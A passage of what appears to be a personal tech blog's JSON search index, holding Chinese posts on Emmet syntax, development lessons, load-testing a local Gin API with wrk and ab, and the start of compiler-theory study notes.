class=\"name\"\u003ep\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003efooter\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e理论上你可以用一个缩写来编写一整页,但是实际最好不要这么做。\u003c/p\u003e\u003ch3 id=\"属性选项\"\u003e\u003ca href=\"#属性选项\" class=\"headerlink\" title=\"属性选项\"\u003e\u003c/a\u003e属性选项\u003c/h3\u003e\u003cp\u003e对于标签,可以使用\u003ccode\u003e.\u003c/code\u003e标记添加class,\u003ccode\u003e#\u003c/code\u003e添加id,\u003ccode\u003e[a=\u0026quot;xxx\u0026quot; b=\u0026quot;3\u0026quot;]\u003c/code\u003e添加自定义标签。\u003c/p\u003e\u003ch3 id=\"编号\"\u003e\u003ca href=\"#编号\" class=\"headerlink\" title=\"编号\"\u003e\u003c/a\u003e编号\u003c/h3\u003e\u003cp\u003e使用\u003ccode\u003e*\u003c/code\u003e操作符时,可以在元素名称,属性名称,属性值插入\u003ccode\u003e$\u003c/code\u003e来加入从1开始的序号。连续的\u003ccode\u003e$\u003c/code\u003e出现时,高位默认填0。比如:\u003ccode\u003eul\u0026gt;li.item$*5\u003c/code\u003e-\u0026gt;\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item1\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item2\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item3\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item4\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eli\u003c/span\u003e \u003cspan class=\"attr\"\u003eclass\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;item5\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eli\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eul\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另外在\u003ccode\u003e$\u003c/code\u003e操作符后,可以用\u003ccode\u003e@\u003c/code\u003e修改起始值,递增\u0026#x2F;递减。语法为:\u003ccode\u003e$@-3\u003c/code\u003e,\u003ccode\u003e$@-\u003c/code\u003e,\u003ccode\u003e$@3\u003c/code\u003e。得到的结果分别为序号递减到3,序号递减到1,序号从3递增。\u003c/p\u003e\u003ch3 id=\"文本\"\u003e\u003ca href=\"#文本\" class=\"headerlink\" title=\"文本\"\u003e\u003c/a\u003e文本\u003c/h3\u003e\u003cp\u003e用\u003ccode\u003e\u0026#123;\u0026#125;\u003c/code\u003e包裹文本,可以将文本包含在元素标签对中:\u003ccode\u003ea\u0026#123;click me\u0026#125;\u003c/code\u003e\u0026#x3D;\u0026#x3D;\u003ccode\u003ea\u0026gt;\u0026#123;click me\u0026#125;\u003c/code\u003e-\u0026gt;\u003ccode\u003e\u0026lt;a href=\u0026quot;\u0026quot;\u0026gt;click me\u0026lt;/a\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e但是注意,第一种写法的优先级最高,第二种写法中,\u003ccode\u003e\u0026#123;\u0026#125;\u003c/code\u003e和一般标签等价。\u003c/p\u003e\u003ch3 id=\"终结符\"\u003e\u003ca href=\"#终结符\" class=\"headerlink\" title=\"终结符\"\u003e\u003c/a\u003e终结符\u003c/h3\u003e\u003cp\u003e空格是Emmet的默认终结符,因此,不能用空格提升可读性。此外,Emmet可以在任何位置使用,不一定是空行开头。\u003c/p\u003e\u003ch2 id=\"工具\"\u003e\u003ca href=\"#工具\" class=\"headerlink\" title=\"工具\"\u003e\u003c/a\u003e工具\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003esnippets.json\u003c/code\u003e中包含Emmet的数据,也可以在这里定义自己的别名\u003c/li\u003e\u003cli\u003e部分标签(例如\u003ccode\u003ediv.content\u003c/code\u003e)可省略标签名,Emmet可直接推导出\u003c/li\u003e\u003cli\u003eLorem lpsum生成工具:\u003ccode\u003elorem\u003c/code\u003e可直接扩展为占位文本,也可以使用\u003ccode\u003elorem10\u003c/code\u003e等控制占位文字数量\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"注\"\u003e\u003ca href=\"#注\" class=\"headerlink\" title=\"注\"\u003e\u003c/a\u003e注\u003c/h2\u003e\u003cp\u003eEmmet还有CSS的snippets,不过我用的不多就没去看。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/04/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Emmet%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"开发手记","time":"2024-04-14T07:54:33Z","content":"过去一年,GitHub已经1186次提交了。有点时间,就看看这三年都积淀了点啥吧\u003chr /\u003e\u003cp\u003e大概计算了一下,我在GitHub上所有的代码行数早已超过100k行了。三年下来,我在开发上的投入越来越大块,甚至已经吞噬了我的许多其他活动,甚至到了我很多次反思这到底是不是应该在大学期间干的事。\u003c/p\u003e\u003cp\u003e虽然如此我还是义无反顾地干下来了。兴趣所在,原因不明。\u003c/p\u003e\u003ch2 id=\"经验1-量变引起质变\"\u003e\u003ca href=\"#经验1-量变引起质变\" class=\"headerlink\" title=\"经验1-量变引起质变\"\u003e\u003c/a\u003e经验1-量变引起质变\u003c/h2\u003e\u003cp\u003e说是重复练习积累经验也对,说是重复的过程中找到新的规律从中创新也对。总之,开发活动本身也是一种渐进式的活动。从一开始的编写Hello, World到后来编写一个完整的项目,这中间增长的是复杂度,一同增长的也有开发者自身对于代码的掌控力,以及对于复杂度的控制能力。\u003c/p\u003e\u003cp\u003e大量代码必然大块重复,其上的思考有助于抽离重复部分,丰富复用代码片段库。\u003c/p\u003e\u003cp\u003e增长的复用片段库最终会形成新的范式,或者新的工具,乃至思想。\u003c/p\u003e\u003ch2 id=\"经验2-测试驱动开发(TDD)\"\u003e\u003ca href=\"#经验2-测试驱动开发(TDD)\" class=\"headerlink\" title=\"经验2-测试驱动开发(TDD)\"\u003e\u003c/a\u003e经验2-测试驱动开发(TDD)\u003c/h2\u003e\u003cp\u003e开发难点在于代码正确性验证,以及消除undefined behavior。测试驱动的开发一方面帮助我们消除ub,另一方面帮我们快速验证和开发模块。好处是,开发进度明确,并且开发完成之后可用程度基本拉满。\u003c/p\u003e\u003cp\u003e同时对比以前的完整编译再运行整个系统的做法,TDD更加敏捷。同时编写测试用例能帮我们理解自己的代码行为和逻辑。\u003c/p\u003e\u003ch2 id=\"经验3-文档与工具\"\u003e\u003ca href=\"#经验3-文档与工具\" class=\"headerlink\" title=\"经验3-文档与工具\"\u003e\u003c/a\u003e经验3-文档与工具\u003c/h2\u003e\u003cp\u003e文档的必要性在于对整个代码的形式规约——文档本身也是一种应对复杂度的手段。文档的编写,构建和发布值得我们好好打磨。从注释生成,还是代码即注释,这些都可以,根据情况决定。\u003c/p\u003e\u003cp\u003e好的工具值得我们花费时间熟悉,看起来古老的工具,比如Vim,build-essentials,gnu core-utils以及bash都值得学习。并不是因为它们强大,而是让你学会如何使用基于这些工具构建的现代IDE\u0026#x2F;构建流程背后的逻辑,思想以及原理,同时让你不被任何现代IDE约束于其中,能完成几乎所有超出IDE能力的任务。\u003c/p\u003e\u003ch2 id=\"经验3-组合优于继承\"\u003e\u003ca href=\"#经验3-组合优于继承\" class=\"headerlink\" title=\"经验3-组合优于继承\"\u003e\u003c/a\u003e经验3-组合优于继承\u003c/h2\u003e\u003cp\u003e不仅适用于代码编写,也适用于工具哲学。继承是严格的约束,组合是松散的,约定大于规范的约束。pipe,xargs和gnu core-utils等工具能构建出让人难以置信的工具。KISS,同时只做一件事并把它做好,明确单一工具行为,谨防undefined behavior。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e另,关于GNU\u0026#x2F;Linux以及无底洞systemd,组合确实适合构建一些特定的工具,但是对于general-purpose类型的,面向最终用户的接口,还是提供一个相对稳定,严格的规约比较好,不过大量吞噬其他工具这一点大可不必。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"经验4-自顶向下设计\"\u003e\u003ca href=\"#经验4-自顶向下设计\" class=\"headerlink\" title=\"经验4-自顶向下设计\"\u003e\u003c/a\u003e经验4-自顶向下设计\u003c/h2\u003e\u003cp\u003e大学以来第一个大型项目NanoOJ,很长一段时间处于漫无目的的开发阶段:知道要做的东西是什么,但是不知道现在应该做什么。不熟悉软件工程的经验教训,文档是大段废话和幻想,对于开发毫无帮助。\u003c/p\u003e\u003cp\u003e程序本质是数据的变换工具,因此规划出明确的数据流之后进行开发就可以了。这个阶段的前一步,是需求整理,原型设计。\u003c/p\u003e\u003ch2 id=\"经验5-面向接口编程\"\u003e\u003ca href=\"#经验5-面向接口编程\" class=\"headerlink\" title=\"经验5-面向接口编程\"\u003e\u003c/a\u003e经验5-面向接口编程\u003c/h2\u003e\u003cp\u003e符合软件工程中需求和文档为先,驱动程序开发的架构。这也是自顶向下设计的一种,适合多人团队项目开发。前后端先约定好接口,根据数据模型进行开发。\u003c/p\u003e\u003cp\u003e针对前后端开发,后端可以使用测试用例驱动;前端可以使用假数据驱动开发,开发完成后对接后端即可。\u003c/p\u003e\u003ch2 id=\"经验6-Linux\"\u003e\u003ca href=\"#经验6-Linux\" class=\"headerlink\" title=\"经验6-Linux\"\u003e\u003c/a\u003e经验6-Linux\u003c/h2\u003e\u003cp\u003eGNU\u0026#x2F;Linux是工具的集合。不仅是gnu core-utlis,也指代它的项目源代码库,以及提供的各种库库。使用组合式的实践,可以轻松创建出来稳定可用的,属于自己的工具合集。\u003c/p\u003e\u003cp\u003eLinux系的发行版是越用越爽的:它提供了近乎无穷的原料,让你能尽情发挥创造力——对比Windows,你需要不断学习Windows的各种工具,并很难有手段将它们组合使用——作为用户,你难以创造。不过随着Powershell的改进,这点倒是在逐渐改善。\u003c/p\u003e\u003cp\u003e关于系统的学习顺序,有时间的话最好从系统的启动过程,文件系统,服务管理,网络系统管理,以及性能监测和分析这方面开始学习。如果要从其他方向开始学习也不是不行,因为Linux本身也是渐进式的:学多少基本都能用起来。比较遗憾的是,我是从搭MC服务器\u0026#x2F;部署网页服务器开始学的(\u003c/p\u003e\u003ch2 id=\"经验7-渐进式\"\u003e\u003ca href=\"#经验7-渐进式\" class=\"headerlink\" title=\"经验7-渐进式\"\u003e\u003c/a\u003e经验7-渐进式\u003c/h2\u003e\u003cp\u003e刚开始听说是在Vue介绍中。后来实践中理解了是什么,为什么,以及怎么做。\u003c/p\u003e\u003cp\u003e渐进式指功能可以被逐渐学习,逐渐集成,比如Linux,第一天删除文件时只会直接\u003ccode\u003erm [filename]\u003c/code\u003e,第二天知道了后面可以跟随多个文件名,第三天知道了可以使用正则来匹配所有要删除的文件。在这个过程中,你一开始就能完成需要的功能,而之后的学习让你将大部分任务耗时降低到可接受范围内。Vue支持从JS,Web Component和SPA到SSR,SSG多种开发方式,但是你无需学完才能开始编写代码:它的各种工具和概念是相对解耦的。\u003c/p\u003e\u003cp\u003e为什么呢?这和一般人的学习习惯有关。最代表性的例子是数学的学习,实际上我们是顺应着数学的发展历史逐渐向时间轴正向前进学习的。刚开始使用Visual Studio开发时,我经常因为不知道这东西各个部分怎么用而打开又关闭。用VS Code就舒服多了,基本功能简单,组合插件带来各种功能的能力也很强。\u003cstrong\u003eVS Code打开就能直接写代码,但是VS必须经过系统全面的学习才能不阻碍完整的开发流程\u003c/strong\u003e。或者这方面,Vim可能是个更好的例子:起初只需要学会\u003ccode\u003ei\u003c/code\u003e,\u003ccode\u003eEsc\u003c/code\u003e和\u003ccode\u003e:wq\u003c/code\u003e以及\u003ccode\u003ehjkl\u003c/code\u003e就能把它当记事本简单用用,之后每学到一个键\u0026#x2F;功能都能直接提升你的效率和体验。\u003c/p\u003e\u003cp\u003e在我的开发学习过程,我一般不使用完整的项目基座,而是从官方给出的最简单的底座和实例开始,一点一点向上搭建。当我做到某一部分时,我会知道这部分需要使用什么新的插件,而不是一开始就从一个打满插件的项目开始——这样的开发体验并不好。当你发现自己的项目已经和其他脚手架\u0026#x2F;基座功能比较接近时,这时候你就有了新的选择:迁移到完善的大型框架上进行开发。这时候的开发体验应该是如鱼得水的:你理解了应如何组合工具来编写这种复杂度的项目,你也能看懂底座提供的若干功能的逻辑和目的。这个阶段,对框架的使用才是提升效率的手段。\u003c/p\u003e\u003cp\u003e不过这种开发方式仅适用于习阶段,实际大型项目开发最好花时间看看成熟框架的文档和实例。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/04/14/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E6%89%8B%E8%AE%B0/"},{"title":"API压测笔记","time":"2024-03-18T14:41:07Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003eAPI的压力测试是业务上线前的重要环节,也是对系统性能的一个量化测量,对实际业务诸方面都有重要的参考价值。\u003c/p\u003e\u003cp\u003e这里主要说说API压测的方法和常用手段。\u003c/p\u003e\u003ch2 id=\"压测方法\"\u003e\u003ca href=\"#压测方法\" class=\"headerlink\" title=\"压测方法\"\u003e\u003c/a\u003e压测方法\u003c/h2\u003e\u003cul\u003e\u003cli\u003ego benchmark\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果是golang后端,可以直接手写测试用例,然后使用go工具链自带的benchmark进行压测。\u003c/p\u003e\u003cul\u003e\u003cli\u003eApacheBench\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eab命令会创建多个并发访问线程,模拟多个访问者同时对某一URL地址进行访问。\u003c/p\u003e\u003cp\u003e安装\u003ccode\u003eapache2-utils\u003c/code\u003e即可在系统上使用\u003ccode\u003eab\u003c/code\u003e命令。\u003c/p\u003e\u003cp\u003e作为演示,使用ab测试一个GET接口:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eab -n 2000 -c 1200 \u003cspan class=\"string\"\u003e\u0026quot;http://127.0.0.1:9999/get_result?a=10\u0026amp;b=20\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003en: 测试轮次\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003ec: 客户端数量\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eT: 内容类型\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003ep: 包含post参数的文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e引号是必须的\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003ewrk\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e一个C编写的API压测工具\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewrk -t10 -c100 -d10s http://localhost:8080/api/users \u003cspan class=\"comment\"\u003e# 使用10个线程,100并发数,测试持续10s\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"开测\"\u003e\u003ca href=\"#开测\" class=\"headerlink\" title=\"开测\"\u003e\u003c/a\u003e开测\u003c/h2\u003e\u003cp\u003e我最后还是选了\u003ccode\u003ewrk\u003c/code\u003e做压测\u003cdel\u003e因为ab装不上\u003c/del\u003e\u003c/p\u003e\u003cp\u003e测试接口是\u003ccode\u003ePOST http://localhost:8080/api/calc/mul\u003c/code\u003e,payload是一个2*n的json格式的二维数组。\u003c/p\u003e\u003cp\u003e测试指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewrk -t 20 -c 10000 -d 180s -s bench.lua --latency \u003cspan class=\"string\"\u003e\u0026quot;http://localhost:8080/api/calc/mul\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## bench.lua\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk.method = \u003cspan class=\"string\"\u003e\u0026quot;POST\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk.body = \u003cspan class=\"string\"\u003e\u0026quot;[[1,2,3,1],[4,5,7,8]]\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk.headers[\u003cspan class=\"string\"\u003e\u0026#x27;Content-Type\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026quot;application/json\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e测试结果如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003exeonds@ark-station:~/code/vec-calculator-server$ make bench \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e build \u0026amp;\u0026amp; ./vec-calc-web-linux-amd64-1.0.0 \u0026amp; \u003cspan class=\"built_in\"\u003esleep\u003c/span\u003e 1 \u0026amp;\u0026amp; \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ewrk -t 20 -c 10000 -d 180s -s bench.lua --latency \u003cspan class=\"string\"\u003e\u0026quot;http://localhost:8080/api/calc/mul\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eRunning 3m \u003cspan class=\"built_in\"\u003etest\u003c/span\u003e @ http://localhost:8080/api/calc/mul\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 20 threads and 10000 connections\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Thread Stats Avg Stdev Max +/- Stdev\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Latency 61.27ms 62.15ms 1.46s 93.06%\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Req/Sec 9.74k 1.33k 22.11k 71.75%\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Latency Distribution\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 50% 48.47ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 75% 66.32ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 90% 90.10ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 99% 364.05ms\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 34884275 requests \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e 3.00m, 4.35GB \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eRequests/sec: 193693.29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eTransfer/sec: 24.75MB\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e测试平台是\u003ccode\u003eIntel Core i7-12700H\u003c/code\u003e,可以看到并发在\u003ccode\u003e1,0000\u003c/code\u003e的时候,Gin的性能还是不错的,TPS保持在了19万的水准。\u003c/p\u003e\u003ch2 id=\"碎碎念\"\u003e\u003ca href=\"#碎碎念\" class=\"headerlink\" title=\"碎碎念\"\u003e\u003c/a\u003e碎碎念\u003c/h2\u003e\u003cp\u003e该说不该说呢,以前我认为语言就是由语法和编译器\u0026#x2F;解释器构成,但是Golang这样从语法上支持一个feature的行为让我疑惑:语言的标准库该不该算是语言特性的一部分?\u003c/p\u003e\u003cp\u003e\u003ccode\u003ego\u003c/code\u003e这个关键字作为一个大大的语法糖,似乎在打破语言的库和语言本身的分界线。我也无从知晓这一方向的尽头是什么。\u003c/p\u003e\u003ch2 id=\"Reference\"\u003e\u003ca href=\"#Reference\" class=\"headerlink\" title=\"Reference\"\u003e\u003c/a\u003eReference\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/609348456\"\u003eAPI性能测试指标以及压测方式 - 最难不过二叉树 - 知乎\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://golang.cx/go/golang%E5%8E%8B%E6%B5%8B.html\"\u003egolang压测\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://www.digitalocean.com/community/tutorials/how-to-benchmark-http-latency-with-wrk-on-ubuntu-14-04\"\u003eHow To Benchmark HTTP Latency with wrk on Ubuntu 14.04 - DigitalOcean\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://stackoverflow.com/questions/15261612/post-request-with-wrk\"\u003ePOST request with wrk? - StackOverflow\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/gin-gonic/gin/issues/267\"\u003eCan I disable gin’s stdout? - GitHub Issue\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2024/03/18/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/API%E5%8E%8B%E6%B5%8B%E7%AC%94%E8%AE%B0/"},{"title":"编译原理学习笔记","time":"2024-01-26T12:29:40Z","content":"你说的对,但是编译器是一款......\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e这东西很早就开始看,但是一直没有一个明晰的思路。说起来最早接触编译器,大概是第一次试着自己写一个计算器的时候吧。那会尝试使用递归来进行表达式的解析,现在想来很像下推自动机。\u003cdel\u003e准确来说现在看着像是手写下推自动机\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"编译器纲要\"\u003e\u003ca href=\"#编译器纲要\" class=\"headerlink\" title=\"编译器纲要\"\u003e\u003c/a\u003e编译器纲要\u003c/h2\u003e\u003cp\u003e编译原理的根本目的是将程序设计高级语言翻译成机器硬件控制器可直接执行的二进制代码。自顶向下观测,可以从编译的阶段流程逐步深入学习。\u003c/p\u003e\u003cp\u003e首先是概览,理解每个阶段的输入和输出,从黑箱角度理解每一阶段的编译器组件的功能,参考龙书。简要来说:输入是人类可读的程序语言,然后经过编译器前端和后端两个大层次的多阶段翻译,逐步转换成为语言的单词(token)集合,表示语言结构的抽象语法树,带有更多附加信息的,包含语义的语法树,中间代码(可以是三地址码等等),最终生成符合目标体系架构的原生机器代码。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e或者从另一个视角来观察,CPU自身对应的就是一种有限状态模型。因此,编译的过程实质上可以理解为将一种编程模型下的程序翻译成另一种编程模型下的程序。\u003cbr\u003e所以实质上,软件和硬件的分界点是可以变动的,这部分的trade-off和收益暂时不展开。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e其次从词法分析开始,介绍词法匹配的方法,进一步深入到本质:正则表达式(三型文法),以及NDFA,以及实质上和NDFA的表达力完全等价的DFA。这里对于自动机的定义,构造和自动机所能识别的语言的介绍,是对于语言和自动机表达力和等价性的重要讨论。\u003c/p\u003e\u003cp\u003e接下来是语法分析,介绍CFG和CSG,以及配套的自动机模型:下推自动机。并且证明:下推自动机PDA和DPDA(确定型下推自动机)的表达力也是一样的,并且识别的语言类型也是相同的。\u003c/p\u003e\u003cp\u003e这部分除了自动机,还有自上而下\u0026#x2F;自下而上分析法,以及他们下属的各种方法,比如SLR,LALR,LL(0)等方法,以及其中包含的包括